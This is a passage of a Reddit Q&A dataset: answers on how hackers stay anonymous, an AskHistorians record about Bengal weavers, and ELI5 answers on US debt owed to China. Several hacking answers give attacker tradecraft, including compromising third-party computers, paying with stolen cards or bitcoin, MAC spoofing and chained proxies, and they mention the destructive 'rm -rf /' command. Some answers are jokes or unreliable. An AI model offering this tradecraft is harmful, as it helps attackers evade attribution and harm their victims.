specificity to correlate a specific event is *trivially easy* now that there are listening nodes all over the Internet. \n\nYour provider has a direct link to the NSA fibre taps, and any packets going *through* your provider's infrastructure (yes, including those riding over Tor, VPNs or anything else) are subject to correlation. \n\nThe packet size, datetime and other factors are all pieces of metadata that, when combined together, can provide a digital \"chain of custody\". While they may not be able to get *into* each packet, they can certainly say you sent '43,742 bytes to this IP address at this time', which can be correlated with many other pieces of metadata to show cause. \n\nThe other aspect, is that while you can control *your* side of the equation, you have *ZERO* control over the other endpoints: \n\n* Are they using encryption? \n* Is theirs weak or stronger than yours? \n* Are they logging?\n* Is there system secure? \n* Are they using encrypted disks? \n* Is their network being monitored? \n* Is anyone taking offsite backups in the clear? \n* ... and so on. \n\nOnce you understand that **anonymity on the Internet is physically impossible**, you can construct plans to mitigate the attack surface of discovery.", "Imagine you need to send delicate evidence to the cops via mail, you don't want the post office to look at what's in the package and you also don't want it being backtracked to you (there are rumors of corrupt cops/delivery guys in the whole city).\n\nThis is what you do:\n\nYou take your evidence and put it on an unbreakable box with an unbreakable lock (strong encryption) and send it to Paul (VPN). Paul's sole job is to forward packages he receives and to destroy all records of who send what to who. Paul sends it to the cops and the cops receive the package with the lock. The cops put a lock of their own with a signature (certificate), so you know it's from them, and mail it back to Paul. Paul sends it back to you and destroys the logs.\n\nYou receive the box with 2 locks, you check the cop's lock is authentic and now you remove your lock, then you ship it back. Now the cops receive the box from Paul (VPN) and remove their lock. Following this method, the cops don't know who send the package and only they have access to the contents of the box.", "ITT: _URL_0_\n\nHoneypot (computing)\n\nIn computer terminology, a honeypot is a computer security mechanism set to detect, deflect, or, in some manner, counteract attempts at unauthorized use of information systems. Generally, a honeypot consists of data (for example, in a network site) that appears to be a legitimate part of the site but is actually isolated and monitored, and that seems to contain information or a resource of value to attackers, which are then blocked. This is similar to the police baiting a criminal and then conducting undercover surveillance, and finally punishing the \"criminal\".[1]", "You have to take a bus to get across the country. This involves stops at a lot of bus stops. To get on the bus, you have to have your tickets stamped with the current station (departing), the next station (arriving), and your final destination across the country. \n\nEach time you get to a bus station, you must provide the attendant with your current ticket in exchange for a new ticket. The new ticket still has the same final destination, but now has a new departing station and arriving station. The old tickets are put in a cabinet to be stored.\n\nA theft decides that he wants to rob you since he knows you're not at your home. He doesn't know where you live, but he does have access to every single old bus ticket from across the country.\n\nTo figure out where you came from, he looks at the ticket you used to get off the train at your final destination. This ticket tells him the station you came from before arriving at your final destination. Since he now knows your 2nd from last stop, he looks up that ticket. He keeps looking up tickets to find the 3rd, 4th, 5th from last stops until he finally finds the stop at your house.\n\nIt works well until he gets to the 10th stop. At the 10th stop, they think keeping old tickets is a waste of time so they throw them all out immediately. Robber now has no way of getting to your house because he can't find your ticket - breaking the chain back to your house.\n\nSince the robber is lazy he gives up at this point.\n\n----\n\nThat's the end of the question OP asked. He's a continuation showing how sleuth's might work around the \"lost ticket\" problem.\n\nIf the robber was dedicated, he would try to go the landfill to find the discarded ticket. He's unlikely to find anything because it's been raining and all of the tickets have turned to mush.\n\nHis last options is to look for your ticket at every station that provides service to the 10th station. There are a looooooooot of stations that provide service to the 10th station so he can't simply look at every ticket from every station.  He's a smart robber, so he only looks for routes in the time frame he knows you arrived at the 10th station. He finds 5 possible routes you took. \n\nSince he really wants to break into your house, he goes to all 5 of the routes and by a stroke of luck finds your ticket (EDIT: Important to note, he has a bit of help because he finds only one ticket with the same final destination as yours). He can once again find your house and rob you.\n\n----\n\nBasically, tickets are much like packets. They carry a partial story about where you're traveling too but don't necessarily show where you came from (VPN's, proxies, NAT, etc). If you can follow each step of the chain back, you can find out where something came from. In certain cases, the chain might be broken. You either need to get a bit lucky or find another way to connect the chain.\n\n\n----\n\nEDIT 2: Obligatory thanks for the gold!\n\nThis is a pretty difficult one to thoroughly ELI5. My explanation explains only the simplest of simple (i.e. one layer of protection - VPN).\n\nThe true issue gets compounded when you factor in crazy things like:\n\n* Bus rider might buy a ticket for himself and a hundred thousand other people to the same final destination. Robber still wanting to rob original bus rider (who owns a lot of gold) would have to sort through all one hundred thousand people - or find a way to figure out who purchased all of the tickets.\n* Bus rider might purchase separate fares over the course his travel (kind of how VPN's and Proxies work).\n* Bus rider might have a friend drop him off at the bus station (i.e. using a compromised). The bus rider is no longer coming directly from his home, so you have to talk to the friend.\n* Bus rider might take an indirect route, making it illogical to follow him back (this is kind of how TOR works).\n* Bus rider talked to somebody else on the route. Robber knew the two talked, sought that person out, and learned about bus rider through 3rd party.\n\n", "TL;DR at bottom (I got carried away haha). Also, info may not be accurate because it's meant for you to get the big picture idea instead of technical details. \n\n\nEvery action is visible, but not traceable to the final point. Also encryption plays a huge part. Imagine I hand you a box and say \"get it to John Smith\". You know only two points that package's travel - me, and John. Also, even if you opened the box, you would find a locked box because I've encrypted the information.\n\n\nNow, let's say you get it to John. John has a key to my locked box. He opens it to find another package which says \"get this to Jane\". So he does. It's also worth pointing out that the new package may also contain a locked box!\n\n\nAt this point, John knows more than you. He knows the box started at me, went to him, and then Jane. Jane however, only knows it went from John to her. Jane has no clue that I even exist. So when Jane unlocks the last box, she finds (for example) a ring that she bought from me, with an invoice for $1000. She drops the money in, locks the box, and sends to to where it came from (To John). John gets it, locks it in another box, and sends to to where he knows it came from (me). \n\n\nI get the box, unlock it, unlock the next box, and boom, I have $1000 and no ring. Plus, thanks to lock boxes, it was safe the entire time and YOU don't know what was inside it - ever. In the end, only John and myself (and maybe not even me) knew the whole route and final destination. You didn't know Jane existed and Jane had no idea who I was or that I exist. Also, only Jane and I knew what was in the lockbox.\n\n\nIn this scenario, I am the computer, you are the ISP, John is the proxy, Jane is the server, the package was the information, the lockbox is the encryption, and the key is a shared password. There were two lock boxes and two keys, but that isn't always the case. Also, instead of me putting everything in a ton of lock boxes, I may have put the ring in one small lock box, and that one in another bigger lock box. Then john could have taken my big one off, put my small lock box in his own big lock box and sent that to Jane. Jane would have a key to his big box and my small box. She returns my small box inside of his big box. He switches the small box into my big box and sends it to me. Just to beef up security and keep the keys changing so that it's harder for a thief to have the right keys at the right time.\n\n\nWith Tor, imagine that instead of finding a ring, Jane found another package and this line kept going. Jane sends it to Tim who opens it to find another package for Blake. Blake does the same to find a package for Jane (this can happen because Jane doesn't realize it's the same package because it's been taken out of two boxes since then) and Jane does the same and sends to Matthew.\n\n\nYou and I know it started at me and went to John. John knows it started at me, went to him, then went to Jane. Jane knows it came from John to her and went to Tim. Tim knows it came from Jane to him and goes to Blake. Blake knows it came from Tim to him and went to Jane (Blake doesn't know Jane already had it once). Jane knows it came from Blake to her and goes to Matthew (remember, she's clueless that she's already had this package), and Matthew knows he got it from Jane.\n\n\nOnly I know that it started at me and ended up at Matthew, but I MAY have no idea who Matthew actually is. Most importantly, no one -not even me- knows the entire route. Everyone only knows where to send it, and where to return it when it comes back eventually.\n\n\nSo now, Matthew packages the information I requested, sends it back to Jane, who knows to put it back in the box she took it out of earlier and send it to Blake, who knows to put it back in the box he took it out of and send it to Tim, who knows to put it back in the box he took it out of and send it to Jane, who knows to put it back in the box she took it out of and send it to John, who knows to put it back in the box he took it out of. And send it to me!\n\n\nAnd you're just sitting there like \"oh this box again... too bad it's locked and I can't see inside of it\". But even having one or many keys wouldn't help you much, because you'd have to have all the keys to open all the boxes to find what information we were sending each other. At that point you *may* also learn every point on the route - something no one knows. You'd be able to shut us down. Even if you did, I'd come back with a different route, different keys, and different ways of doing things. \n\n\nTL;DR\n\nA connection can run through a line of servers. Each server only knows the server in front and behind itself. Your information passes from your computer, to your ISP, to the first server in line, who passes it to the second, who passes it to the third, who passes it to the fourth, who passes it to the fifth, who interprets your information and sends a response. The line then happens in reverse. No one, not even you or the ISP, knows the entire route the data took. The data is also encrypted, so no one can peak at the data.", "Visiting a website is like sending a letter. You take what you want to send and put it in an envelope and address it to Mr Google. Now the postman, Mr Comcast can see that you sent something to Mr Google but can't look inside to see what it is.\n\nNow say you want to contact Mr Silkroad for all your illegal drug buying needs. Mr Comcast can see that you're sending Mr Silkroad a letter and that's just not ok. So you instead put the envelope inside of *another* envelope and send it to Mr VPN who then opens it and sends *that* envelope off to Mr Silkroad for you.\n\nMr Silkroad then responds to Mr VPN who puts the response inside of his own envelope and sends it to you. Mr Comcast can see you're sending a *lot* of letters to Mr VPN but can't determine whether they're being sent to Mr Google or Mr Silkroad.", "I do not like any of the answers given so far, because they are overly technical and still don't address the primary question, which is, \"How do you remain anonymous when your first hop is your ISP?\". The answer is that tracking down a user works in Reverse. \n\nSo yes, the ISP may know that you are using a VPN or TOR or whatever, but doesn't necessarily know what you're doing through it. Likewise, for someone snooping through the logs at the website you're on, they would need to start from \"the back\" and work their way up to the ISP before they could identify you. \n\nYou - >  ISP - >  VPN/TOR - >  hop - >  hop - >  hop - >  destination\n\nIt doesn't protect you entirely, just obfuscates you. ", "Random question: \nIs there an active subreddit that is actively involved in posting IT security stuff?", "Using a VPN (see u/sawyplanet) through a \"stan\" country is a good way.  Any requests to the ISP in a \"stan\" country will be laughed at.\n\nOne may also run their own ISP/TelCo for about $20K stateside. A block of IPs are rented, add in your own server and viola.  If your ISP is hit with \"paper\" you have an early warning system and respond with \"poor\" and very delayed information.  \n\nAlso, the Cartels have enough money that they can install and run their own cell networks too.  ", "I actually read a lot of of your answers and many not because I didn't expect so much interest. \n\nThe thing is that I find it still really hard to get it for one main reason (and maybe because I don't know how all of this works).\n\nMostly I read about encryption and one explication with cabs as examples, but that one (sounded quite simple at first), gave me a bit of confusion...\n\nIn a few stupid words it goes like this \"rm -rf /\", in which a hacker would delete a server... ok this is pretty stupid but what I still cannot understand is how could it not be traced since that command firstly should pass through the ISP and even if encrypted the ISP must know from who the packets came and to where pass it forward.\n\nThe only thing that I can think of is that the sender and the receiver address are in plain text and the only thing that is encrypted is the command. Did I get something right?\n\nOh and thank you very much for trying to make a curious guy learn a bit more!", "No hacker in the world (except maybe script kiddies or state funded) are using their own home broadband. If they're smart they'll grab the biggest most powerful directional antenna they can and break into someone else's wireless before hitting up either a VPN or a compromised server with an unsuspecting admin before attacking anything else, it's all about obfuscating their true location as much as possible. I'd bet any hacker worth their salt isn't even using the same computer for both day to day browsing and hacking. ", "Here's an attempt to make it very eli5. Traditional web browsing works like this:\n\n`You -data- >  ISP -data- >  Facebook`\n\nWhere \"-data- > \" indicates a package going from your computer to facebook servers, relayed by your ISP.\n\nUsing a proxy service like a VPN or Tor:\n\n`You -encrypted_data- >  ISP -still_encrypted_data- >  proxy -decrypted_data- >  Facebook`\n\nISP only sees you are sending some data to the proxy server, but they have no idea where it's being relayed from the proxy, or what the data contains.", "Phineas Fisher, the guy that hacked GammaGroup and HackingTeam explained it:\n\nYou don't hack directly from your own DSL connection. \nIdeally, you leech-off some free WiFi or open access point and ssh into a VPS that you have paid by Bitcoin.\n\nYou can chain multiple of these in different jurisdictions, so that it's very difficult and burdensome and time-consuming for somebody to get all legal bits together.\n\nHe's got a Reddit account:\n\n_URL_0_\n\nHacking Team hack explained: _URL_1_\n\n", "From what i've seen, elite hackers will travel around to disguise their true location. A desert, urban area or mountain are all good choices. Living in a car, eating what you can out of canned foods like Tuna allows you to remain mobile and detached from any one location, while still being able to connect to the internet via several laptops and their respective satellite antennas mounted somewhere like the trunk. Using multiple connections helps mask the true IP of any one computer, which can be destroyed with something like a hammer to cover your tracks.", "Here's the actual ELI5, some Canadian terrorists are attacking a target in Japan. The first thing they do is put on some exceptional Mexican disguises, and drive to Mexico. The disguise is so good that nobody bats an eyelid at the border, no real record is made apart from x number of people entering Mexico. Once in Mexico, they get their guns out and stuff, and board a plane to Japan. They hijack the plane and go about their attack. As far as anyone can tell the attack is by the Mexicans, and Canada is free to continue its global reign of terror ", "This is the simplest ELI5 answer I can give you. \n\nEncryption means the ISP doesn't know what the packet is.\n\nA VPN or Proxy, like TOR, will mean there are lots of other people talking and the packet can be bounced around before going to its target.\n\nNo one (realistically) can follow information through a VPN or proxy especially when one TCP request has pieces sent through different routes.\n\nToo many people are talking on the VPN or proxy to even guess who is sending what where.\n\n[So you get something that looks like this.](_URL_0_)", "Your question is based around the premise that your ISP keeps track of everything you do.\n\nThis is false. At most they keep some metadata. This is data that identifies your connection. Who you connected to, when, etc. They do not know you sent xyz to google or that your friend Charlie sent you that cute cat pick.\n\nThink about how much data the average person sends/receives every month. ISP's don't need or want to store that amount of data.\n\nSo hackers stay anonymised by connecting to proxies and vpn's. These act as middlemen, between your connection, and the target. The target will often log where you connected from, but if you connected to a US target, from a hacked web server in russia, the US target doesn't have much recourse. They can't just send the FBI down to russia to investigate. They *might* be able to get some more information, but the hacker may not even be connected to that russian server from their home computer.\n\nYou know how in the movies they always say 'we can't trace them, they're bouncing off servers all over the world'? Well, that trace isn't legit. They can't easily trace a connection like that. But the concept of routing your attack around the world isn't completely absurd.\n\nI can connect to a server in singapore, which then connects to a server in russia, which then connects to a server in europe, which then connects to a server in mexico, before i start an attack on a target in the US. And all those servers in the middle, may be personal or commercial computers that have been previously hacked. \n\nThere are downsides to this, the connection latency can be shit. But it can be done. And not every hacker is as good at staying anonymised as others. Nor do they always use the same level/type of anonymising concepts/technology. \n\nSo it comes down a lot to, it doesnt matter if the action is visible. It comes down to whether the action can be traced.", "Pen-Tester, Network Tech, System Admin, Blue/Red Teamer here\n\nThe part of your question about an ISP is likely just 'extra material' in this case. Professional hackers are often provided state sponsored internet drops, see some of the US current cyber-adversaries; state sponsors top the list. The next group of professional hackers will use open or easily cracked wifi networks or burner 4G hotspots/cell networks. Burner: cash and pre-paid cell phones.\n\nRegardless of the method of uplink to the wider internet, once connected, there are lots of options for anonymity. Cloud hosting providers often allow bitcoin and visa gift cards to be used for the purchase of systems. Solid! Now, we have a jump host to build our own proxy. You can now SSH tunnel (think encrypted) and proxy out. Through even a known ISP, and one you pay, it is extremely difficult to identify to where you've jumped. So, from that perspective, you are now anonymous. Commands? rm -rf....it does not matter what commands are issued on the destination servers, your ISP will not be able to retrieve those bits.\n\nOnce targets are chosen, hackers run recon. The recon identifies surface area and easy / medium / complex targeting. Depending on the motivation, this classification will move the target up or down the hacker priority list. Difficult attacks involve months of planning and silent obscurity. There are hundreds of services to use now as a hacker looking for a mark, check out Shodan. Let's say your target is identified and you have a plan of actual attack, executing a well planned attack is rarely the difficult part; remaining silent is. Setting off alarm bells is the last thing a hacker wants to do. \n\nIf I have chosen to exfiltrate the data off a company, I probably have a plan for the exfil that does not involve any concern about whether or not you can see my command history. As far as you coming back a few months later and identifying the IP address of an off-shore server bought and paid for anonymously, accessed over a VPN through an SSH jump host, what does it matter if my ISP saw me connect outbound to a server on Digital Ocean? Every bit and byte of communication from my browser is wrapped in an SSH tunnel via socks-proxy. \n\nIf you didn't understand much of this, don't fret, or actually, yeah, go ahead and fret. It is practically impossible to trace these steps. Add in an off-shore VPN in the UK, connect to that, then jump host and socks proxy. Go ahead and fire up your TOR browser (extremely sketchy) and enjoy extreme anonymity. \n\nDigital Ocean hosting\ncheck out SET\ncheck out PTF\n10 minutes and you have a cloud server loaded with \"hackery\" tools.\n\ntl;dr\nbuy phones with cash, set up hotspots, public wifi, buy linux servers with bitcoins and visa gift cards. wrap all of the attack commands in SSH, browse through the same SSH tunnel = 99.99% anonymous.", "If they are going through TOR or VPN, they are only visible through the last server they went through. It effectively changes their \"location\" to whatever server they are connecting through.", " ISPs have no way to know what their customers are doing through the VPNs. \n\nEven if you know certain VPN was used to hack certain site, only the VPN owner can know which user did that. ", "I happen to be a computer hacker, I'll start with how networking works. Your computer has a mac address assigned to its ethernet or wifi interface, hackers will spoof their mac address to appear as a different computer thus removing any liability for when the feds come knocking.\n\nTo do this in Kali linux for example you would open terminal and type macchanger -r wlan0 to randomize a new mac for your wireless. Now we have a few options, as a hacker I typically wouldn't use my own wireless connection at home, but I could utilize a hotspot, either a free public hotspot, or one I pay for using a pre-payed gift card that isn't directly traceable to me, some may even use a stolen credit card to do this.\n\nI however have a much cheaper alternative, that I don't want to disclose publicly due to not wanting the ISP to fix it. \n\nHackers tend to do things in stages, the first stage is using someone else to do your illegal activity, grandma down the street is a good target, pwn her computer, and then launch attacks from her system instead of your own. \n\nAmazon AWS is another way to launch attacks, free trials linked to bogus information, gaining access to a companies aws account, etc. \n\nEncryption is important, but you also want to make sure that when using services such as TOR you're not connected to an NSA honeypot. \n\nProxychains is something people utilize in the scene, using grandmas computer connected to a hacked proxy then connected to an aws cloud, connected to another proxy and then tor, all remotely from a live disc of kali linux, with nothing saved on your own machines.\n\nAlso always encrypt your devices with Truecrypt or if you trust it Veracrypt.", "Hackers dont use an ISP in their name. \nRule #1 Dont hack from a connection with your name on it. Use hacked wifi networks or even public networks without portals and cameras in the area.", "While the first connection is typically seen by the ISP, keep in mind that attackers go through several hops before getting to the final destination. So if an attacker hops from Brazil to Russia to China to the UK to Russia to hack a system in the US, the last hop from the defenders perspective will be a Russian IP.\n \nTo find out where an attack is coming from, you look at the IP address where it's coming from. If the first hop back is in Russia, you would have to subpoena records in Russia for that IP address, then subpoena the information from the UK for the Russian IP address, then submit a subpoena in China for the UK IP, and so on and so forth. Many of these countries do not have data retention laws, making it extremely difficult to find out where that comes from. \n \nFor VPN's, if this is the first hop, the ISP's typically don't have visibility into this. (inb4 NSA) The \"tunnels\" are encrypted, so even if the ISP's were looking, all they could really see is that there is encrypted traffic, but not where it's going. Think of this as water going through a PVC pipe. You know there's something going through, but you don't know if it's blue, red, purple, or even water. \n \nWhile it does seem pretty grim, you have to keep in mind that the attackers are human, too. Everyone likes a pat on the back or wants to brag, so when someone wants to mouth off on a forum, or re-use a personal email account for bad things, it's slip-ups like this that security researchers look for. We're all human, lazy, and want to do the least amount of work to get the job done. Hackers, too. \n \nOn the human topic, you also have to remember that attackers have different tools, tactics, and procedures (TTP's) that they like to use. A mechanic knows how to work on an engine, can replace spark plugs, and has their favorite set of wrenches that they like to use. Dewalt? Makita? Bosch? Or do you have a custom tool that you like to use? \n \nAttackers are a lot of the same way. Some like to use Metasploit, others roll with exploit kits, and some like to create their own tools. Others are known for different infrastructure, and this is where attribution comes in, or the act of (trying to) identify who an attacker is. This is never 100%, and you've probably seen from headlines of \"It's China\", \"It's Russia\", \"It's North Korea\", or some other form of a bear or panda. \n \nSo Tl;dr, it's very easy to hide, hard to detect, but it's the humans who always mess up. :)\n \nIf you have any other questions, I'll watch the replies here, as I do this for $dayjob. ", "Here's a real story, from Malaysia in the early 00's:\n\nOne of our students hacked a server at the college I was working at. (How we found that out is explained at the end)\n\nWe detected a connection to the computer, but the connection came from China. The hacker had subverted a server in China, and connected to our server from there. Possibly, he'd bunny-hopped through multiple compromised servers in multiple countries.\n\nHis ISP would have merely detected a secure connection to a remote server. The connection would have been encrypted, so there's no way they could read the traffic, even if they could be bothered. There were no laws in place requiring ISPs to police their customers, and I would not support such laws. Nor should you, unless you want internet access to become so expensive it becomes the sole privilege of the wealthy.\n\nThe hacker defaced our web page. Or attempted to. I had already modified the web server to serve pages from a different folder from the default.\n\nThen, he was stupid. He used an unsecured connection to connect to the web page to admire his work. By comparing http logs with root access logs, I pinned him down to a paritcular IP address in a neighboring suburb. \n\nWe took this information to the ISP. They were very sympathetic, but couldn't release customer details without a police warrant. Naturally. There are such thing as privacy laws, after all. I would not want the law to be any other way, and not should you, unless you want your internet account details to be readily available to anyone who asks nicely.\n\nWe filed a police report, but the police were so incompetent they never did a thing. They took the server hard disk away so they could investigate, and that was all. \n\nHacking today is done via automated scripts, often run from compromised computers, and your server gets compromised, the culprit could be anywhere in the world. \n\nYour online shop's down? You should have secured it better, there's nothing the police can do. Trying to get action would be like asking a small-town police department to track down the theft - by an unknown strike team coordinated jointly by the Italian and Russian mafia - of a potted daisy from your porch. And don't expect action from the guys who sold them the air tickets either. ", "a spot with a bag of old chips? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://www.google.com/amp/s/nakedsecurity.sophos.com/2015/06/25/can-you-trust-tors-exit-nodes/amp/", "http://security.stackexchange.com/questions/34804/how-safe-is-tor-from-mitm-snooping-attacks"], [], [], [], ["http://hakshop.myshopify.com/products/wifi-pineapple?variant=11303845317"], [], [], [], ["https://en.wikipedia.org/wiki/Honeypot_(computing)"], [], [], [], [], [], [], [], [], [], ["https://www.reddit.com/user/PhineasFisher/", "https://ghostbin.com/paste/6kho7"], [], [], ["http://puu.sh/rUo9p/1557dfbce2.png"], [], [], [], [], [], [], [], [], []]}
{"q_id": "1rs5wr", "title": "Did the British really cut of the thumbs of weavers?", "selftext": "I have heard that to create a larger market for British cotton in India, the British cut the thumbs (I have also heard it as hands) off of weavers producing high quality muslin (particularly in Bengal). Is there any truth to this?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1rs5wr/did_the_british_really_cut_of_the_thumbs_of/", "answers": {"a_id": ["cdqcikn"], "score": [14], "text": ["This allegation started during the impeachment trial of Warren Hastings who had been governor-general of Bengal, after trials lasting 148 parliamentary days over 7 years he was unanimously cleared of most of the charges made against him and was acquitted of the rest for lack of evidence. \n\nThose who made the allegations included MPs such as E. Burke and C.J Fox who were opposed to Hastings because he was a key alley of the Prime Minister William Pitt. \n\nWhilst we can't say definitely that Hastings was innocent of all the charges I think the fact that his accusers were based in London and were his political opponents speaks volumes as does the fact that he was able to get plenty of people with whom he'd worked in India - both Indians and Europeans - to speak in his defence. \n\n\n_URL_0_\n_URL_2_\n_URL_1_\n\n "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://englishhistoryauthors.blogspot.co.uk/2012/06/impeachment-of-warren-hasting-1788-1795.html", "http://www.columbia.edu/itc/mealac/pritchett/00generallinks/macaulay/hastings/txt_complete.html", "http://www.blupete.com/Literature/Essays/Best/MacaulayImpeachHastings.htm"]]}
{"q_id": "4pawnn", "title": "why do people say one day china will ask for the us to \"pay them back\"? is that even possible?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4pawnn/eli5_why_do_people_say_one_day_china_will_ask_for/", "answers": {"a_id": ["d4je5xx", "d4jeh5z", "d4jf9no", "d4jfben", "d4jfv0r", "d4jif0n", "d4jjkty", "d4jjvjb", "d4jknb4", "d4jl4k1", "d4jl7l1", "d4jlg8c", "d4jlv46", "d4jm6xb", "d4jmbph", "d4jn9zh", "d4jnpta", "d4jomcf", "d4jtass"], "score": [983, 62, 70, 2, 39, 2, 8, 12, 2, 3, 4, 2, 4, 3, 4, 2, 2, 2, 2], "text": ["we pay china back all the time, they just keep buying more bonds with the money we pay off.  (and we keep issuing more bonds because the US runs a deficit)\n\nChina has no grounds to \"demand\" repayment any sooner than the bonds prescribe.", "China owns US Bonds.  They are similar to loans.  The government creates a bond, and says you give us $100, and in 20 years we'll pay you back $100.50.  The $0.50 is interest due to the length of time.  \n\nChina can't ask the US to pay all the money back now for the same reason your bank can't come to you and tell you to pay your mortgage now in full.  The bond was sold with stipulations regarding payment, just like your mortgage stipulates your payment schedule.  \n\nThey can't collect on it in a different manner than specified, as long as the US keeps making it's stipulated payments.", "Others have explained why China can't demand their money back. Warning: The following both oversimplified and a point of debate. Take it with a grain of salt.\n\nThe ELI5 version of the \"threat\" is that China's could sell their US Debt at a significant loss, driving the cost of US Debt down significantly. When the price of debt decreases the effective interest rate increases. The net effect would be a significant disruption to the US economy if not collapse.\n\nThis would have a drastic impact on China's economy, not the least of which because the US is a significant trade partner, but also because the US economy is tied strongly to the global economy. A large disturbance in the US economy would propagate throughout most of the rest of the world. China would never do this under normal, traditional circumstances.\n\n[War has changed](_URL_0_). There's good reasons the Cold War fizzled out in the 80s and has been rekindled to an extent after the economic disturbances of the late 2000s. Physical warfare on large scales has likely been relegated to history books; small-scale fighting will likely be with us for a long time to come. \n\nSince the 80s or so, trade is the cheapest way of acquiring resources. When we want to punish a country invading is little more than a quagmire, easily demonstrated by recent invasions in the Middle East. Instead we enact economic sanctions, which are more effective at scale, while simultaneously being cheaper to enforce. Under this scenario an escalation to war might first involve economic disruption.", "People say it because China does buy bonds and things from the US, and the US agrees to pay them back later. All of these have defined payback plans, and both sides stick to that. Also, it's not a huge issue for the US, it's rolled into our budget, we know how much we owe, and it's not going to suddenly spike one day.\n\nIf the Chinese for some reason said screw the terms, I want the money, the US might pay a little extra, but it will probably end up in an international court (UN courts), and both countries will hopefully agree to abide by the outcomes. In the event that one country refuses then the UN can push their member countries to sanction the countries that don't listen to the US. If that still doesn't help, the last and final option is war where the terms are ultimately put into a peace treaty that is signed to end the war. If they break the peace treaty it goes back to UN courts, sanctions, and then war again.\n\nFor something like this between the US and China, it's unlikely to ever get to the UN, and the threat of sanctions is so great to both parties that it's unlikely to happen. They would just settle on some new terms. And ultimately, with international debt between superpowers, the UN really just holds a tiny amount of power, everyone sides with their allies and it comes down to sanctions between each other and war as the only options if you refuse to settle, there isn't some higher power that can force a country to pay, at least not like there is on people where courts can just seize your money, it's not an option on the international level.", "They do not understand how it works. \n\nOur debt is in the form of treasury bonds that are sold to people. Those bonds have set maturation dates and while we can theoretically choose to pay them off early on our end, there is no ground to demand them be paid off before the maturation date by the people that own them. If anyone were to try and demand early payment legally we can just refuse, and there is even a small chance that making such a demand could void the contract and clear the debt. \n\nAdditionally China only owns about 6%-7% of US debt. Over 60% is owned by the US (private citizens, government departments, and corporations). China use to own 8% but they sold a portion of their bonds during their recent economic crisis for quick cash since as stated above they could not ask for payment early and could not wait for them to mature. \n\nTreasury bonds are in high demand because they are one of the safest points of investment. The US has never missed a payment and is not likely to do so soon. ", "In addition to what everyone says, debt can actually give the US leverage in trade deals. Think \"If you owe the bank 10 grand, the bank owns you. If you owe the bank 100 million, you own the bank.\" The bank WANTS its money back, so it will allow you a lot of leeway. Debt is part of the reason the US economy is so expansive and it's military so influential.", "People who say this don't understand how debt works.\n\nThe US repays its debts all the time. Every single day. The bonds are for a set amount of time. China (or anyone else) can't just show up and demand to be paid early.\n\nIt's like when you borrow money to buy a car. If you make all your payments on time, the bank can't just knock on your door and say \"Hey, we decided that we want all our money now.\" No, you'd say \"Um, no, we have a contract, and you'll get your money when we agreed.\"", "*Sigh\n\nBeing in China in the last 9 years, I hear this shit over and over again, and I hear the wrong answer over and over again----including a lot of the answers in this post.\n\nFirst thing first, OP.  That phrase you mentioned is Chinese government propaganda, propagated by the wumao(shills) and ziganwu(ultra nationalistic internet trolls).  The reason this seem so real and not totally made up, is because this lie has been repeated over a billion times. You have been drowned by a single lie that has been repeated enough times to seem real.\n\nFirst off, government debt is not a bad thing---at all.  Government debt in itself is neutral, it's not a good thing nor it is a bad thing.  In order to print money, you need to issue an equal amount of debt.  So, if the USA is to \"pay back\" every single debt their government owes, the USDollar as a global currency will effectively disappear from the world.\n\nSecondly, a country \"paying back\" their debt is not something that happens.  A country \"buying back\" their debt is something that happens.  Ever heard the saying \"Owe me a million dollars and you are in trouble; owe me a billion dollars and *I* am in trouble.\"  That's pretty much how powerful a government debt is.  China, despite holding so much US government bonds, holds no more than 10% of US govt. debt...your grandparents and their pals probably hold the other 30% in their retirement funds.\n\nYeah, the majority of the US govt debt is owed to...itself.  If you wanna know more about government bond, I suggest you read [this entertaining ELI5 first](_URL_0_)\n\nThirdly, China *needs* those US government bonds.  If US decides to write off all the bonds China is holding, they are going to be in insane trouble.  Without those US debt, China won't be able to maintain the stability of their currency, and they will have an uprising to deal with. ", "Well, yes. When the loan expires, we pay it back. However, to do that, we borrow more money.\n\nWe never actually retire debt. We just keep rolling it over, and paying the interest. As we keep borrowing more and more money, we end up spending more on more every year on the interest payments.\n\n", "China can always \"get their money back\" ahead of time by simply selling their bonds. There is no reason or mechanism for them to demand that money from US. ", "follow up question. Who is China get paid? I hear 'China\" get tossed around all the time. Is it specific businesses, the government, or a different entity entirely that handles spreading the money evenly that the U.S. owes.\n\n(Also when we refer to the U.S. paying China back who does the U.S. represent? Are taxpayers or business owners straight up paying China back?)\n\nsorry if this is a dumb question, it just popped in my head\n", "Bear in mind that to buy bonds, China must have dollars. And where do they get the dollars?  From trade.   We trade IOUs/dollars for the goods China produces. \n\nOnce they have dollars, they have choices.  They could buy Yuan, Euros, or Yen for example.  This is no palatable, because it will cause the dollar to rise and Chinese exports to become more expensive.  \n\nThey could also just hold U.S. dollars as reserve deposits.  However, they earn interest on U.S. Treasuries, and they prefer interest.  If they decided to stop buying U.S. Treasuries, they still have our IOUs.  They would just be non-interest bearing. \n\nThis is a little beyond the ELI5, but in a fiat currency system, money is simply a medium of exchange.  When evaluating spending initiatives, people always ask the wrong question - \"where will we get the money?\"  The more relevant question is \"do we have the economic resources (labor, materials, technology) to back up the spending?\"  \n\n\n\n", "If China were to cash in on the trillions of dollars worth of US debt it owns, the Chinese economy wouldn't be able to handle such a large amount of money suddenly entering the money supply. The result, crippling crippling inflation. This would also cause Chinese currency to be worth more in the global market. Something China does not want is it's currency to appreciate. China benefits from it's currency being worth less than other country's currencies so that people can cheaply buy all the stuff that China manufactures. Also, other people have mentioned this, but debt doesn't work in the way that the lender can suddenly ask for all the money the debt holder owes. You pay off debt gradually, not all at once.", "From what I remember of my macroeconomics classes :\nChina exports a tremendous amount of goods to the US. They get paid in foreign currencies and this causes them to accumulate currencies. To keep a certain balance they need to do foreign investment. They buy tons of foreign stocks and bonds a lot of which are in the US. This causes US companies and the government to owe money to Chinese investor. In the event that they decide that those investements should be directed elsewhere than on the US market it will come down to the US market \"paying back\" China so it can invest its money on other foreign markets. Such an event could be triggered in the event that the US market becomes less appealing to foreign investors.", "Fun Fact- America's debt to Japan is about the same size as China's, but you never hear people saying \"Japan will want it's money.\"", "If China starts asking for the money back, the US economy sinks.  As the economy sinks, the dollar is devalued.  Then they are sitting there with devalued dollars, making a gallon of tea with 5 black teabags.  They would really injure themselves 